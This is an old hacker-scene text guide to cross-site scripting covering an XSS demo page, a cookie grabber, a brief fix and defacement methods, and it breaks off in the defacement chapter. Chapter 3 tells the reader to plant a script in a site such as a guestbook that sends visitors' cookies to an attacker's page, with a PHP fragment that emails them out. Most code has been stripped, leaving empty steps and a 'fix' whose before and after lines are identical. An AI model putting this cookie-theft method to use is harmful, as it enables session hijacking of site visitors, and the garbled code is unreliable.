____
                                                                             /   /
 ________________________________________________________________________/   /
|                                                                       /   /
|           Cross Site Scripting - Attack and Defense guide            /   /
|_____________________________________________________________________/   /
                                                                     /   /
                                             By Xylitol 10-02-08    /___/
	Author: Xylitol
	Description: a simple guide on XSS methods.
	Homepage: http://xylitol.free.fr
	Contact: Xylitol[at]fbi[dot]gov
	Date: 10/02/08
	Summary:
		1>  What is XSS ?
		2>  Code a XSS vulnerability
		3>  Make a cookie grabber
		4>  Securing XSS
		5>  Deface Methods
		6>  Filteration Bypassing
		7>  Flash attak
		8>  XSS upload
		9>  phishing XSS
         ____                                   ____
        /   /                                   \   \
 ______/   /_____________________________________\   \______
|     /   /                                       \   \     |
|    /   /.:      Chapter 1 - What is XSS ?      :.\   \    |
|___/   /___________________________________________\   \___|
   /   /   (From Wikipedia, the free encyclopedia)   \   \
  /___/                                               \___\
Cross-zone scripting is a browser exploit taking
advantage of a vulnerability within a zone-based security solution.
The attack allows content (scripts) in unprivileged zones
to be executed with the permissions of a privileged zone - i.e.
a privilege escalation within the client (web browser) executing the script.
The vulnerability could be:
    * a web browser bug which under some conditions allows content (scripts)
in one zone to be executed with the permissions of a higher privileged zone.
    * a web browser configuration error; unsafe sites listed in privileged zones.
    * a cross-site scripting vulnerability within a privileged zone
A common attack scenario involves two steps.
The first step is to use a Cross Zone Scripting vulnerability
to get scripts executed within a privileged zone. To complete the attack,
then perform malicious actions on the computer using insecure ActiveX components.
This type of vulnerability has been exploited to silently install
various malware (such as spyware, remote control software, worms and such)
onto computers browsing a malicious web page.
                                        
         ____                                   ____
        /   /                                   \   \
 ______/   /_____________________________________\   \______
|     /   /                                       \   \     |
|    /   /.:Chapter 2 - Code a XSS vulnerability :.\   \    |
|___/   /___________________________________________\   \___|
   /   /                                             \   \
  /___/                                               \___\
Open notepad and copy/past this script:
Simple XSS vulnerability by Xylitol
after, save this page: index.html
open a new notpad and Copy/past that:
Search result:
Search result  :  
save this page in: XSS.php
close notepad
open index.html in firefox
enter a value and search
return on the page of research and enter  
send the form
bingo a dialogue box !
 _______________________________________
/  http://127.0.0.1 dit:              X \
|________________________________________|
|                                        |
|                                        |
|    ^                                   |
|   / \                                  |
|  / | \      XSS                        |
| /  .  \                                |
| -------                                |
|                       ______           |
|                      |  OK  |          |
|                       ------           |
|________________________________________|
            XSS Vulnerability is here...
         ____                                  ____
        /   /                                  \   \
 ______/   /____________________________________\   \______
|     /   /                                      \   \     |
|    /   /.: Chapter 3 - Make a cookie grabbers :.\   \    |
|___/   /__________________________________________\   \___|
   /   /                                            \   \
  /___/                                              \___\
insert this script in a vulnerable page (for exemple a guestbook)
(www.Hax0r.com = your site)
Open notepad and make a page: cookie.php
copy/past this code:
Error
 mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?> 
Error - Access denied for  echo $_SERVER["REMOTE_ADDR"]; ?>
It is not enough any more but for the pirate,
than to await the reception of the email and to read the cookie there.
         ____                                 ____
        /   /                                 \   \
 ______/   /___________________________________\   \______
|     /   /                                     \   \     |
|    /   /.:      Chapter 4 - Securing XSS     :.\   \    |
|___/   /_________________________________________\   \___|
   /   /                                           \   \
  /___/                                             \___\
FIX it:
for fix XSS Vulnerability use htmlentities:
in line 16 Remplace:
Search result  :  
By:
Search result  :  
use htmlspecialchars() function in PHP ;)
other function:
htmlentities() quotes
strip_tags()
...
         ____                                 ____
        /   /                                 \   \
 ______/   /___________________________________\   \______
|     /   /                                     \   \     |
|    /   /.:     Chapter 5 -deface Methods     :.\   \    |
|___/   /_________________________________________\   \___|
   /   /                                           \   \
  /___/                                             \___\
defacer with a XSS and a rather simple thing
here are the principal ones…
defacement by an image:
or a video flash: